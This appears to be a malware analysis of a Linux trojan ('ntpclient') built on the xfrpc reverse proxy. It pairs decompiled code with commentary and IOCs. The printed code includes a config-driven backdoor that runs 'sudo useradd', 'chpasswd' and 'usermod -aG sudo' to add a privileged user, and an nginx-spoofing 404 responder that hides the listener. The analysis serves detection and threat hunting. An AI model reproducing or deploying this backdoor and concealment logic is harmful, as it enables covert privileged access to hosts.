puVar11 = (undefined4 *)FUN_0045021c(0x40);
puVar20[0x12] = puVar11;
if (puVar11 != (undefined4 *)0x0) goto LAB_00406b84;
goto LAB_00406b7c;
}
lVar16 = puVar3[0x12];
lVar17 = *(long *)(lVar16 + 0x18);
*(undefined8 **)(lVar17 + 0x10) = puVar20;
puVar20[0x13] = lVar17 - *(long *)(lVar16 + 0x20);
*(long **)(lVar16 + 0x18) = unaff_R15;
do {
puVar3 = DAT_0068f320;
pbVar24 = (byte *)*puVar20;
lVar17 = -1;
lVar16 = DAT_0068f320[0x12];
*(int *)(lVar16 + 0x10) = *(int *)(lVar16 + 0x10) + 1;
puVar20[0x12] = lVar16;
*(undefined4 *)((long)puVar20 + 0xc4) = 0xfeedbeef;
pbVar27 = pbVar24;
do {
if (lVar17 == 0) break;
lVar17 = lVar17 + -1;
bVar1 = *pbVar27;
pbVar27 = pbVar27 + (ulong)bVar28 * -2 + 1;
} while (bVar1 != 0);
uVar5 = 0x9e3779b9;
uVar21 = 0x9e3779b9;
pbVar27 = pbVar24;
for (uVar13 = ~(uint)lVar17 - 1; 0xb < uVar13; uVar13 = uVar13 - 0xc) { iVar4 = (uint)pbVar27[7] * 0x1000000 + (uint)pbVar27[6] * 0x10000 + uVar5 + pbVar27[4] + (uint)pbVar27[5] * 0x100; uVar5 = (uint)pbVar27[0xb] * 0x1000000 + (uint)pbVar27[9] * 0x100 + (uint)pbVar27[8] + *(int *)((long)puVar20 + 0xc4) + (uint)pbVar27[10] * 0x10000; uVar22 = (((uint)pbVar27[3] * 0x1000000 + (uint)pbVar27[2] * 0x10000 + uVar21 + *pbVar27 + (uint)pbVar27[1] * 0x100) - iVar4) - uVar5 ^ uVar5 >> 0xd;
uVar19 = (iVar4 - uVar5) - uVar22 ^ uVar22 << 8; uVar21 = (uVar5 - uVar22) - uVar19 ^ uVar19 >> 0xd;
pbVar27 = pbVar27 + 0xc;
uVar22 = (uVar22 - uVar19) - uVar21 ^ uVar21 >> 0xc;
uVar5 = (uVar19 - uVar21) - uVar22 ^ uVar22 << 0x10; uVar19 = (uVar21 - uVar22) - uVar5 ^ uVar5 >> 5;
uVar21 = (uVar22 - uVar5) - uVar19 ^ uVar19 >> 3;
uVar5 = (uVar5 - uVar19) - uVar21 ^ uVar21 << 10; *(uint *)((long)puVar20 + 0xc4) = (uVar19 - uVar21) - uVar5 ^ uVar5 >> 0xf;
}
lVar17 = -1;
do {
if (lVar17 == 0) break;
lVar17 = lVar17 + -1;
bVar1 = *pbVar24;
pbVar24 = pbVar24 + (ulong)bVar28 * -2 + 1;
} while (bVar1 != 0);
iVar4 = *(int *)((long)puVar20 + 0xc4) + -1 + ~(uint)lVar17;
*(int *)((long)puVar20 + 0xc4) = iVar4;
switch(uVar13) {
case 0xb:
*(uint *)((long)puVar20 + 0xc4) = iVar4 + (uint)pbVar27[10] * 0x1000000;
case 10:
*(int *)((long)puVar20 + 0xc4) =
*(int *)((long)puVar20 + 0xc4) + (uint)pbVar27[9] * 0x10000;
case 9:
*(int *)((long)puVar20 + 0xc4) = *(int *)((long)puVar20 + 0xc4) + (uint)pbVar27[8] * 0x100
;
case 8:
uVar5 = uVar5 + (uint)pbVar27[7] * 0x1000000;
case 7:
uVar5 = uVar5 + (uint)pbVar27[6] * 0x10000;
case 6:
uVar5 = uVar5 + (uint)pbVar27[5] * 0x100;
case 5:
uVar5 = uVar5 + pbVar27[4];
case 4:
uVar21 = uVar21 + (uint)pbVar27[3] * 0x1000000;
case 3:
uVar21 = uVar21 + (uint)pbVar27[2] * 0x10000;
case 2:
uVar21 = uVar21 + (uint)pbVar27[1] * 0x100;
case 1:
uVar21 = uVar21 + *pbVar27;
}
uVar13 = *(uint *)((long)puVar20 + 0xc4);
uVar19 = (uVar21 - uVar5) - uVar13 ^ uVar13 >> 0xd;
uVar5 = (uVar5 - uVar13) - uVar19 ^ uVar19 << 8; uVar21 = (uVar13 - uVar19) - uVar5 ^ uVar5 >> 0xd;
uVar13 = (uVar19 - uVar5) - uVar21 ^ uVar21 >> 0xc;
uVar5 = uVar13 << 0x10 ^ (uVar5 - uVar21) - uVar13; uVar21 = (uVar21 - uVar13) - uVar5 ^ uVar5 >> 5;
uVar13 = (uVar13 - uVar5) - uVar21 ^ uVar21 >> 3;
uVar5 = uVar13 << 10 ^ (uVar5 - uVar21) - uVar13; uVar21 = (uVar21 - uVar13) - uVar5 ^ uVar5 >> 0xf;
plVar8 = (long *)puVar3[0x12];
*(uint *)((long)puVar20 + 0xc4) = uVar21;
plVar8 = (long *)((ulong)(uVar21 & (int)plVar8[1] - 1U) * 0x10 + *plVar8);
lVar17 = *plVar8;
uVar21 = (int)plVar8[1] + 1;
*(uint *)(plVar8 + 1) = uVar21;
puVar20[0x16] = lVar17;
puVar20[0x15] = 0;
if (lVar17 != 0) {
*(long **)(lVar17 + 0x18) = unaff_R15;
}
*plVar8 = (long)unaff_R15;
if ((uVar21 < (uint)((*(int *)((long)plVar8 + 0xc) + 1) * 10)) ||
(*(int *)(lVar16 + 0x34) == 1)) goto LAB_004065f3;
unaff_R15 = (long *)((ulong)(uint)(*(int *)(lVar16 + 8) * 2) << 4); puVar12 = (undefined1 *)FUN_0045021c(); plVar8 = unaff_R15; puVar25 = puVar12; if (puVar12 != (undefined1 *)0x0) goto code_r0x00406df8; LAB_00406b7c: do { uVar9 = 0xffffffff; LAB_00406b7f: puVar11 = (undefined4 *)FUN_00400100(uVar9); LAB_00406b84: for (lVar16 = 0x10; lVar16 != 0; lVar16 = lVar16 + -1) { *puVar11 = 0; puVar11 = puVar11 + (ulong)bVar28 * -2 + 1; } puVar3 = (undefined8 *)puVar20[0x12]; puVar3[3] = unaff_R15; *(undefined4 *)(puVar3 + 1) = 0x20; *(undefined4 *)((long)puVar3 + 0xc) = 5; puVar3[4] = 0x90; puVar11 = (undefined4 *)FUN_0045021c(); *puVar3 = puVar11; } while (puVar11 == (undefined4 *)0x0); for (lVar16 = 0x80; lVar16 != 0; lVar16 = lVar16 + -1) { *puVar11 = 0; puVar11 = puVar11 + (ulong)bVar28 * -2 + 1; } *(undefined4 *)(puVar20[0x12] + 0x38) = 0xa0111fe1; } while( true ); } FUN_00404a29("config.c",0x15d,3,"cannot create proxy service, it should not happenned!"); LAB_00406f00: uVar9 = 0; goto LAB_00406b7f; } uVar9 = 0; FUN_0044fff0(pbVar7); goto LAB_00406aca; code_r0x00406df8: for (; plVar8 != (long *)0x0; plVar8 = (long *)((long)plVar8 + -1)) { *puVar25 = 0; puVar25 = puVar25 + (ulong)bVar28 * -2 + 1; } plVar8 = (long *)puVar20[0x12]; uVar21 = *(uint *)(plVar8 + 1); *(undefined4 *)((long)plVar8 + 0x2c) = 0; uVar5 = uVar21 * 2 - 1; uVar13 = (*(uint *)(plVar8 + 2) >> ((char)*(undefined4 *)((long)plVar8 + 0xc) + 1U & 0x1f)) +
(uint)((*(uint *)(plVar8 + 2) & uVar5) != 0);
*(uint *)(plVar8 + 5) = uVar13;
for (lVar16 = 0; (uint)lVar16 < uVar21; lVar16 = lVar16 + 1) {
plVar26 = *(long **)(lVar16 * 0x10 + *plVar8);
while (plVar26 != (long *)0x0) {
unaff_R15 = (long *)plVar26[4];
plVar18 = (long *)(puVar12 + (ulong)(uVar5 & *(uint *)((long)plVar26 + 0x34)) * 0x10);
uVar19 = (int)plVar18[1] + 1;
*(uint *)(plVar18 + 1) = uVar19;
if (uVar13 < uVar19) {
*(int *)((long)plVar8 + 0x2c) = *(int *)((long)plVar8 + 0x2c) + 1;
*(uint *)((long)plVar18 + 0xc) = uVar19 / uVar13;
}
lVar17 = *plVar18;
plVar26[3] = 0;
plVar26[4] = lVar17;
if (lVar17 != 0) {
*(long **)(lVar17 + 0x18) = plVar26;
}
*plVar18 = (long)plVar26;
plVar26 = unaff_R15;
}
}
FUN_0044fff0(*plVar8);
puVar3 = (undefined8 *)puVar20[0x12];
uVar21 = 0;
*(int *)(puVar3 + 1) = *(int *)(puVar3 + 1) << 1; *(int *)((long)puVar3 + 0xc) = *(int *)((long)puVar3 + 0xc) + 1; *puVar3 = puVar12; if (*(uint *)(puVar3 + 2) >> 1 < *(uint *)((long)puVar3 + 0x2c)) {
uVar21 = *(int *)(puVar3 + 6) + 1;
}
*(uint *)(puVar3 + 6) = uVar21;
if (1 < uVar21) {
*(undefined4 *)((long)puVar3 + 0x34) = 1;
}
LAB_004065f3:
iVar4 = FUN_00457a62(param_3,"type");
if (iVar4 == 0) {
param_3 = &PTR_LAB_00461600;
if (param_4 == 0) {
LAB_00406eda:
FUN_00404a29("config.c",0x169,3,"proxy service type %s is not supportted",param_4);
FUN_0044fff0(pbVar7);
goto LAB_00406f00;
}
do {
if (*param_3 == (undefined *)0x0) goto LAB_00406eda;
param_3 = param_3 + 1;
iVar4 = FUN_00457a62(param_4);
} while (iVar4 != 0);
uVar9 = FUN_00457b10(param_4);
puVar20[1] = uVar9;
}
else {
iVar4 = FUN_00457a62(param_3,"local_ip");
if (iVar4 == 0) {
uVar9 = FUN_00457b10(param_4);
puVar20[4] = uVar9;
}
else {
iVar4 = FUN_00457a62(param_3,"local_port");
if (iVar4 == 0) {
uVar6 = FUN_00457131(param_4);
*(undefined4 *)(puVar20 + 6) = uVar6;
}
else {
iVar4 = FUN_00457a62(param_3,"use_encryption");
if (iVar4 == 0) {
uVar21 = 0;
if (param_4 != 0) {
iVar4 = FUN_00457a62(param_4,&LAB_00460e73);
uVar21 = 1;
if (iVar4 != 0) {
iVar4 = FUN_00457a62(param_4,"1");
uVar21 = (uint)(iVar4 == 0);
}
}
*(uint *)(puVar20 + 3) = uVar21;
}
else {
iVar4 = FUN_00457a62(param_3,"remote_port");
if (iVar4 == 0) {
uVar6 = FUN_00457131(param_4);
*(undefined4 *)(puVar20 + 5) = uVar6;
}
else {
iVar4 = FUN_00457a62(param_3,"remote_data_port");
if (iVar4 == 0) {
uVar6 = FUN_00457131(param_4);
*(undefined4 *)((long)puVar20 + 0x2c) = uVar6;
}
else {
iVar4 = FUN_00457a62(param_3,"http_user");
if (iVar4 == 0) {
uVar9 = FUN_00457b10(param_4);
puVar20[0xb] = uVar9;
}
else {
iVar4 = FUN_00457a62(param_3,"http_pwd");
if (iVar4 == 0) {
uVar9 = FUN_00457b10(param_4);
puVar20[0xc] = uVar9;
}
else {
iVar4 = FUN_00457a62(param_3,"subdomain");
if (iVar4 == 0) {
uVar9 = FUN_00457b10(param_4);
puVar20[8] = uVar9;
}
else {
iVar4 = FUN_00457a62(param_3,"custom_domains");
if (iVar4 == 0) {
uVar9 = FUN_00457b10(param_4);
puVar20[7] = uVar9;
}
else {
iVar4 = FUN_00457a62(param_3,"locations");
if (iVar4 == 0) {
uVar9 = FUN_00457b10(param_4);
puVar20[9] = uVar9;
}
else {
iVar4 = FUN_00457a62(param_3,"host_header_rewrite");
if (iVar4 == 0) {
uVar9 = FUN_00457b10(param_4);
puVar20[10] = uVar9;
}
else {
iVar4 = FUN_00457a62(param_3,"use_compression");
if (iVar4 == 0) {
iVar4 = FUN_00457a62(param_4,&LAB_00460e73);
*(uint *)((long)puVar20 + 0x1c) = (uint)(iVar4 == 0);
}
else {
iVar4 = FUN_00457a62(param_3,"group");
if (iVar4 == 0) {
uVar9 = FUN_00457b10(param_4);
puVar20[0xd] = uVar9;
}
else {
iVar4 = FUN_00457a62(param_3,"group_key");
if (iVar4 == 0) {
uVar9 = FUN_00457b10(param_4);
puVar20[0xe] = uVar9;
}
else {
iVar4 = FUN_00457a62(param_3,"plugin");
if (iVar4 == 0) {
uVar9 = FUN_00457b10(param_4);
puVar20[0xf] = uVar9;
}
else {
iVar4 = FUN_00457a62(param_3,"plugin_user");
if (iVar4 == 0) {
uVar9 = FUN_00457b10(param_4);
puVar20[0x10] = uVar9;
}
else {
iVar4 = FUN_00457a62(param_3,"plugin_pwd");
if (iVar4 != 0) {
uVar9 = 0;
FUN_00404a29("config.c",0x196,3,
"unknown option %s in section %s",param_3,pbVar7)
;
FUN_0044fff0(pbVar7);
goto LAB_00406aca;
}
uVar9 = FUN_00457b10(param_4);
puVar20[0x11] = uVar9;
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
lVar16 = puVar20[1];
if (lVar16 != 0) {
iVar4 = FUN_00457a62(lVar16,"socks5");
if (iVar4 == 0) {
if (*(int *)(puVar20 + 5) == 0) {
*(undefined4 *)(puVar20 + 5) = 0x7bc;
}
if (puVar20[0xd] == 0) {
uVar9 = FUN_00457b10("chatgptd");
puVar20[0xd] = uVar9;
}
}
else {
iVar4 = FUN_00457a62(lVar16,"mstsc");
if (iVar4 == 0) {
if (*(int *)(puVar20 + 6) == 0) {
*(undefined4 *)(puVar20 + 6) = 0xd3d;
}
}
else {
iVar4 = FUN_00457a62(lVar16,&LAB_0047434c);
if (((iVar4 == 0) && (puVar20[0xf] != 0)) &&
(iVar4 = FUN_00457a62(puVar20[0xf],"telnetd"), iVar4 == 0)) {
if (*(int *)(puVar20 + 6) == 0) {
*(undefined4 *)(puVar20 + 6) = 0x17;
}
if (puVar20[4] == 0) {
uVar9 = FUN_00457b10("127.0.0.1");
puVar20[4] = uVar9;
}
lVar16 = puVar20[0x10];
if ((lVar16 != 0) && (lVar17 = puVar20[0x11], lVar17 != 0)) {
lVar10 = FUN_00453879(lVar16);
if (lVar10 == 0) {
FUN_00455417(local_140,0x100,"sudo useradd -m -s /bin/bash %s",lVar16);
iVar4 = FUN_00453d0c(local_140);
if (iVar4 == 0) {
FUN_00455417(local_140,0x100,"echo \'%s:%s\' | sudo chpasswd",lVar16,lVar17);
iVar4 = FUN_00453d0c(local_140);
if (iVar4 == 0) {
FUN_00455417(local_140,0x100,"sudo usermod -aG sudo %s",lVar16);
iVar4 = FUN_00453d0c(local_140);
if (iVar4 == 0) {
pcVar15 = "User %s added successfully\n";
uVar9 = 7;
uVar23 = 0x135;
}
else {
pcVar15 = "Failed to add user %s to sudo group\n";
uVar9 = 3;
uVar23 = 0x131;
}
}
else {
pcVar15 = "Failed to set password for user %s\n";
uVar9 = 3;
uVar23 = 0x129;
}
}
else {
pcVar15 = "Failed to create user %s\n";
uVar9 = 3;
uVar23 = 0x121;
}
}
else {
pcVar15 = "User %s already exists\n";
uVar9 = 3;
uVar23 = 0x118;
}
FUN_00404a29("config.c",uVar23,uVar9,pcVar15,lVar16);
}
}
}
}
}
uVar9 = 1;
FUN_0044fff0(pbVar7);
LAB_00406aca:
if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) {
return uVar9;
}
/* WARNING: Subroutine does not return */
FUN_0044f6ad();
}
This function is a config parser for the a proxy / backdoor, it allows for:
1. Takes a section name and key/value pair from a config file.
2. Looks up internal “proxy service” object for that section.
3. For each key in that section, it fills in fields:
o type
o local_ip
o local_port
o remote_port
o remote_data_port
o http_user, http_pwd
o subdomain, custom_domains, locations, host_header_rewrite
o use_encryption, use_compression
o group, group_key
o plugin, plugin_user, plugin_pwd
o
This is a reverse-proxy / tunneling software style config.
Internally it builds a hash table of these “proxy services” using the section name as the key (all that 0x9e3779b9 / 0xfeedbeef mixing is just a string hash).
this is the “parse one [section, key, value] of the proxy config” function.
The really damning part is near the end.
Once it has parsed the config, it checks the type of the proxy and then applies anamolous behavior:
lVar16 = puVar20[1]; // puVar20[1] = proxy type string (e.g. "socks5", "mstsc", etc.)
if (lVar16 != 0) {
iVar4 = FUN_00457a62(lVar16,"socks5");
...
else {
iVar4 = FUN_00457a62(lVar16,"mstsc");
...
else {
iVar4 = FUN_00457a62(lVar16,&LAB_0047434c);
if (((iVar4 == 0) && (puVar20[0xf] != 0)) &&
(iVar4 = FUN_00457a62(puVar20[0xf],"telnetd"), iVar4 == 0)) {
...
}
}
}
}
If type == "socks5":
if (*(int *)(puVar20 + 5) == 0) {
*(undefined4 *)(puVar20 + 5) = 0x7bc; // remote_port = 0x7bc (1980)
}
if (puVar20[0xd] == 0) {
puVar20[0xd] = "chatgptd"; // default group name "chatgptd"
}
for a SOCKS5 proxy, if remote_port is missing it defaults to 1980, and if group is missing it defaults to "chatgptd". That’s a very distinctive IOC.
MSTSC branch
If type == "mstsc" (this is really “RDP”):
if (*(int *)(puVar20 + 6) == 0) {
*(undefined4 *)(puVar20 + 6) = 0xd3d; // local_port = 0xd3d (3389)
}
The above creates a tunnel for 3389 – Remote Desktop Protocol –
Telnet plugin branch – the backdoor
Next is far more offensive:
iVar4 = FUN_00457a62(lVar16,&LAB_0047434c);
if ((iVar4 == 0) && (puVar20[0xf] != 0) &&
(iVar4 = FUN_00457a62(puVar20[0xf],"telnetd"), iVar4 == 0)) {
// If remote_port not set, default 0x17 (23 / telnet)
if (*(int *)(puVar20 + 6) == 0) {
*(undefined4 *)(puVar20 + 6) = 0x17;
}
// If local_ip not set, use 127.0.0.1
if (puVar20[4] == 0) {
puVar20[4] = "127.0.0.1";
}
lVar16 = puVar20[0x10]; // plugin_user
lVar17 = puVar20[0x11]; // plugin_pwd
if ((lVar16 != 0) && (lVar17 != 0)) {
lVar10 = FUN_00453879(lVar16); // check if user exists
if (lVar10 == 0) {
// 1) Create a new user with /bin/bash shell
"sudo useradd -m -s /bin/bash %s", plugin_user
// 2) Set the password
"echo '%s:%s' | sudo chpasswd", plugin_user, plugin_pwd
// 3) Add user to sudo group
"sudo usermod -aG sudo %s", plugin_user
} else {
"User %s already exists\n";
}
}
}
If a proxy section has:
o a type that matches some string at &LAB_0047434c (another protocol type), and
o plugin = "telnetd" in its config, and
o plugin_user and plugin_pwd set,
then the ELF file will:
1. Check if that plugin_user already exists.
2. If not, run:
sudo useradd -m -s /bin/bash echo ':' | sudo chpasswd
sudo usermod -aG sudo
Log status messages like:
"User %s added successfully\n"
"Failed to create user %s\n"
"User %s already exists\n"
This is a built-in backdoor for creating a local sudo user from its config file.
• The binary parses a config with sections and keys like type, local_ip, remote_port, http_user, plugin_user, etc.
• It supports at least:
o SOCKS5 tunneling (type="socks5") with a default group chatgptd.
o RDP / mstsc tunneling (type="mstsc", port 3389).
o A plugin mode that can run telnetd, with a special path that:
Listens on telnet port 23.
Connects to 127.0.0.1 internally.
creates a new sudo-capable local user via plugin_user/plugin_pwd.
FUN_004027e0
int send_404_and_close(int fd) {
char buf[0x200]; // 512 bytes
int len;
// Build HTTP 404 header with nginx disguise
len = snprintf(
buf,
0x200,
"HTTP/1.1 404 Not Found\r\n"
"Server: nginx\r\n"
"Content-Type: text/html\r\n"
"Content-Length: %d\r\n"
"Connection: close\r\n"
"\r\n",
0x92 // decimal 146
);
if (len > 0 && len < 0x200) {
// Send the header
long sent = send_all(fd, buf, len, 0);
if (sent == len) {
// Send fixed HTML body
sent = send_all(
fd,
"\r\n""\r\n""\r\n"
"
404 Not Found
\r\n"
"
"\r\n"
"\r\n",
0x92, // 146 bytes
0
);
if (sent == 0x92) {
// Cleanly shutdown the socket
shutdown_fd(fd, 1);
log("[nss] send 404 and shutdown fd=%d\n", fd);
flush_logs();
return 0; // success
}
}
}
return -1; // failure
}
1. Builds a HTTP/1.1 404 Not Found response that pretends to be from nginx.
2. Sends the headers and a hard-coded 404 HTML page.
3. shuts down the connection (FUN_004535e5) and logs:
[nss] send 404 and shutdown fd=%d\n
If anything fails, it returns 0xffffffff (-1).
Put this next to the ELF:
• A proxy / tunnel config parser that supports:
o type = "socks5" (group default "chatgptd")
o type = "mstsc" (RDP 3389)
o plugin = "telnetd" with plugin_user / plugin_pwd → local sudo backdoor user creation
• Nezha + PM2 + NextJS infrastructure already present on this host.
This 404 function is part of the front-end listener for that proxy/C2:
• When a connection comes in on some HTTP-facing port and:
o The path / host / “token” doesn’t match a valid tunnel / config section, or
o The request is not meant for the actual control channel,
then instead of exposing itself, it:
• Replies with a perfectly normal-looking nginx 404 (headers + body), then
• Immediately shuts down the socket.
This is pretending to be nginx for “wrong” traffic, while only handling “right” traffic (valid config-driven proxy connections) in a special way.
A. Behavior
• Any probing or incorrect requests to the malware’s listener will look like:
o HTTP/1.1 404 Not Found
o Server: nginx
o That exact HTML body with
network telemetry or web logs that show 404s with that exact body but on a port / path that shouldn’t be nginx are this trojan answering.
IOCs / hunting points
On disk / in memory:
• Strings:
o HTTP/1.1 404 Not Found\r\nServer: nginx\r\nContent-Type: text/html
o
o [nss] send 404 and shutdown fd=%d\n
In network logs / PCAP:
• 404 responses with:
o Server: nginx
o And a body that exactly matches the default nginx 404 page, but coming from a process that isn’t nginx (e.g., PID mapped back to this ntpclient ELF).
at a high level now:
• Nezha: monitoring / beaconing to 107.174.123.91:11451.
• PM2 + NextJS: running your jjmdc frontend app on port 10003, managed by pm2.
• Trojan “ntpclient”:
o Parses a remote-access / proxy config (SOCKS5, MSTSC, telnet plugin).
o Can create new sudo users from its config (plugin_user/plugin_pwd).
o When a connection doesn’t match its expected protocol/config, it spoofs a normal nginx 404, then drops the connection.
This 404 function isn’t doing data theft itself; it’s the cover behavior that lets everything else blend in.
Serialization –
int FUN_00409e3d(undefined8 *param_1,undefined8 *param_2)
{
char cVar1;
int iVar2;
long lVar3;
undefined8 uVar4;
char *pcVar5;
undefined8 uVar6;
undefined8 uVar7;
long lVar8;
undefined1 *puVar9;
char *pcVar10;
char *pcVar11;
byte bVar12;
undefined8 local_48;
char *local_40 [2];
bVar12 = 0;
local_48 = 0;
lVar3 = FUN_00431143();
if (lVar3 == 0) {
return 0;
}
uVar4 = FUN_0043174d(*param_1);
FUN_004313cc(lVar3,"proxy_name",uVar4);
puVar9 = (undefined1 *)param_1[1];
iVar2 = FUN_00457a62(puVar9,"socks5");
if ((iVar2 == 0) || (iVar2 = FUN_00457a62(puVar9,"mstsc"), iVar2 == 0)) {
puVar9 = &LAB_0047434c;
}
uVar4 = FUN_0043174d(puVar9);
FUN_004313cc(lVar3,"proxy_type",uVar4);
uVar4 = FUN_00431490(*(undefined4 *)(param_1 + 3));
FUN_004313cc(lVar3,"use_encryption",uVar4);
uVar4 = FUN_00431490(*(undefined4 *)((long)param_1 + 0x1c));
FUN_004313cc(lVar3,"use_compression",uVar4);
uVar4 = param_1[1];
iVar2 = FUN_00457a62(uVar4,&LAB_0047434c);
if ((((iVar2 == 0) || (iVar2 = FUN_00457a62(uVar4,&LAB_00461176), iVar2 == 0)) ||
(iVar2 = FUN_00457a62(uVar4,"https"), iVar2 == 0)) ||
(iVar2 = FUN_00457a62(uVar4,"socks5"), iVar2 == 0)) {
if (param_1[0xd] != 0) {
uVar4 = FUN_0043174d();
FUN_004313cc(lVar3,"group",uVar4);
}
if (param_1[0xe] != 0) {
uVar4 = FUN_0043174d();
FUN_004313cc(lVar3,"group_key",uVar4);
}
}
iVar2 = FUN_0040d807(param_1);
if (iVar2 != 0) {
uVar4 = FUN_00431501(*(undefined4 *)((long)param_1 + 0x2c));
FUN_004313cc(lVar3,"remote_data_port",uVar4);
}
lVar8 = param_1[7];
if (lVar8 == 0) {
FUN_004313cc(lVar3,"custom_domains",0);
if (*(int *)(param_1 + 5) != -1) {
uVar4 = FUN_00431501();
goto LAB_0040a075;
}
}
else {
uVar4 = FUN_00431864();
pcVar5 = (char *)FUN_00457b10(lVar8);
local_40[0] = pcVar5;
while (pcVar11 = local_40[0], local_40[0] != (char *)0x0) {
FUN_00457d4d(local_40,&LAB_004620a8);
lVar8 = -1;
pcVar10 = pcVar11;
do {
if (lVar8 == 0) break;
lVar8 = lVar8 + -1;
cVar1 = *pcVar10;
pcVar10 = pcVar10 + (ulong)bVar12 * -2 + 1;
} while (cVar1 != '\0');
uVar6 = FUN_0044fc9d(1,(long)(int)~(uint)lVar8);
FUN_0040c0a1(pcVar11,uVar6,~(uint)lVar8);
uVar7 = FUN_0043174d(uVar6);
FUN_004318cb(uVar4,uVar7);
FUN_0044fff0(uVar6);
}
if (pcVar5 != (char *)0x0) {
FUN_0044fff0(pcVar5);
}
FUN_004313cc(lVar3,"custom_domains",uVar4);
}
uVar4 = 0;
LAB_0040a075:
FUN_004313cc(lVar3,"remote_port",uVar4);
puVar9 = &LAB_004620c8;
if ((undefined1 *)param_1[8] != (undefined1 *)0x0) {
puVar9 = (undefined1 *)param_1[8];
}
uVar4 = FUN_0043174d(puVar9);
FUN_004313cc(lVar3,"subdomain",uVar4);
uVar4 = FUN_00431864();
if (param_1[9] == 0) {
FUN_004313cc(lVar3,"locations",0);
}
else {
FUN_004313cc(lVar3,"locations",uVar4);
uVar6 = param_1[9];
while (lVar8 = FUN_0045818d(uVar6,&LAB_004620a8,&local_48), lVar8 != 0) {
uVar6 = FUN_0043174d(lVar8);
FUN_004318cb(uVar4,uVar6);
uVar6 = 0;
}
}
puVar9 = (undefined1 *)param_1[10];
if (puVar9 == (undefined1 *)0x0) {
puVar9 = &LAB_004620c8;
}
uVar4 = FUN_0043174d(puVar9);
FUN_004313cc(lVar3,"host_header_rewrite",uVar4);
puVar9 = (undefined1 *)param_1[0xb];
if (puVar9 == (undefined1 *)0x0) {
puVar9 = &LAB_004620c8;
}
uVar4 = FUN_0043174d(puVar9);
FUN_004313cc(lVar3,"http_user",uVar4);
puVar9 = (undefined1 *)param_1[0xc];
if (puVar9 == (undefined1 *)0x0) {
puVar9 = &LAB_004620c8;
}
uVar4 = FUN_0043174d(puVar9);
FUN_004313cc(lVar3,"http_pwd",uVar4);
pcVar5 = (char *)FUN_00431138(lVar3);
iVar2 = 0;
if ((pcVar5 != (char *)0x0) && (iVar2 = 0, *pcVar5 != '\0')) {
lVar8 = -1;
pcVar11 = pcVar5;
do {
if (lVar8 == 0) break;
lVar8 = lVar8 + -1;
cVar1 = *pcVar11;
pcVar11 = pcVar11 + (ulong)bVar12 * -2 + 1;
} while (cVar1 != '\0');
iVar2 = ~(uint)lVar8 - 1;
uVar4 = FUN_00457b10(pcVar5);
*param_2 = uVar4;
}
FUN_00430fd3(lVar3);
return iVar2;
}
int FUN_00409e3d(proxy_entry *entry, char **out_json);
Allocates a new config/JSON object:
lVar3 = FUN_00431143(); → think “cfg = json_new()”.
Fills that object with fields taken from param_1 (the proxy/service structure):
It writes keys:
• "proxy_name" ← *param_1 (the service name)
• "proxy_type" ← derived from param_1[1]:
o if type is "socks5" or "mstsc" → normalized to another string (LAB_0047434c)
o otherwise uses whatever string is in param_1[1]
• "use_encryption" ← param_1[3] (bool)
• "use_compression" ← field at offset +f0x1c (another bool)
• (conditionally) "group" / "group_key" if param_1[0xd] / [0xe] are non-NULL
• "remote_data_port" if FUN_0040d807(param_1) says this proxy needs one
• "custom_domains" if present in param_1[7] (parsed and normalized)
• "remote_port" ← port from param_1[5] (or 0 / default if unset)
• "subdomain" ← either param_1[8] or a default (LAB_004620c8, probably empty string)
• "locations" ← list from param_1[9] (if any)
• "host_header_rewrite" ← param_1[10] or default
Follows to :
// http_user
if (param_1[0xb] == NULL) http_user = "";
else http_user = param_1[0xb];
json_set(cfg, "http_user", http_user);
// http_pwd
if (param_1[0xc] == NULL) http_pwd = "";
else http_pwd = param_1[0xc];
json_set(cfg, "http_pwd", http_pwd);
It then serializes the JSON object and returns it via param_2
pcVar5 = json_to_string(cfg); // FUN_00431138
if (pcVar5 != NULL && *pcVar5 != '\0') {
int len = strlen(pcVar5);
*param_2 = strdup(pcVar5); // FUN_00457b10
return len;
}
return 0;
this function takes one in-memory “proxy” description and emits a JSON/config blob for it, including the HTTP auth credentials.
Path –
Beacon → operator foothold → Nezha install + ntpclient deployment → pm2/Next.js leveraged for app-level access and GitHub theft
undefined8 FUN_004011d0(long param_1)
{
int iVar1;
int iVar2;
undefined4 uVar3;
uint uVar4;
char *pcVar5;
long lVar6;
uint local_1c;
iVar1 = FUN_00453c91();
if (iVar1 != 0) {
if (iVar1 < 1) {
FUN_00455089("[nss] fork xfrpc",1,0x10,&LAB_0068ec40);
FUN_0045461a(&LAB_0068ec40);
}
else {
local_1c = 0;
iVar2 = FUN_00453efc(iVar1,&local_1c,0);
if (iVar2 < 1) { FUN_00455089("[nss] waitpid xfrpc failed\n",1,0x1b,&LAB_0068ec40); FUN_0045461a(&LAB_0068ec40); } else { if ((local_1c & 0x7f) == 0) { uVar4 = local_1c >> 8 & 0xff;
pcVar5 = "[nss] xfrpc subprocess exit: pid=%ld exit_code=%d\n";
}
else {
pcVar5 = "[nss] xfrpc subprocess killed: pid=%ld signal=%d\n";
uVar4 = local_1c & 0x7f;
if (0xfe < (local_1c & 0xffff) - 1) {
pcVar5 = "[nss] xfrpc subprocess exit: pid=%ld raw_status=0x%x\n";
uVar4 = local_1c;
}
}
FUN_00454c25(&LAB_0068ec40,pcVar5,(long)iVar1,uVar4);
FUN_0045461a(&LAB_0068ec40);
}
}
if (param_1 != 0) {
FUN_0044fff0(param_1);
}
return 0;
}
FUN_00459862();
FUN_004048d7(param_1,*(undefined4 *)(param_1 + 0x400),param_1 + 0x404);
lVar6 = 0;
FUN_004596b5();
DAT_0068eed0 = 1;
uVar3 = FUN_004047a0();
FUN_00454c25(&LAB_0068ec40,"[nss] ws_server_thread exit: %d\n",uVar3);
FUN_0045461a(&LAB_0068ec40);
DAT_0068eed0 = 0;
if (lVar6 != 0) {
FUN_0044fff0(lVar6);
}
return 0;
}
this is the “run xfrpc open-source reverse proxy client written in C that implements the Fast Reverse Proxy and its WebSocket server” function – it forks off an xfrpc child, waits for it in the parent, and in the child it actually runs the internal “ws_server_thread” for the tunnel/proxy.
The function does two completely different things depending on the result of a fork()-like call:
1. Parent side – manage the xfrpc subprocess
iVar1 = FUN_00453c91();
if (iVar1 != 0) {
if (iVar1 < 1) {
// fork failed
"[nss] fork xfrpc"
} else {
// parent: iVar1 is child PID
local_1c = 0;
iVar2 = FUN_00453efc(iVar1, &local_1c, 0); // waitpid(pid, &status, 0)
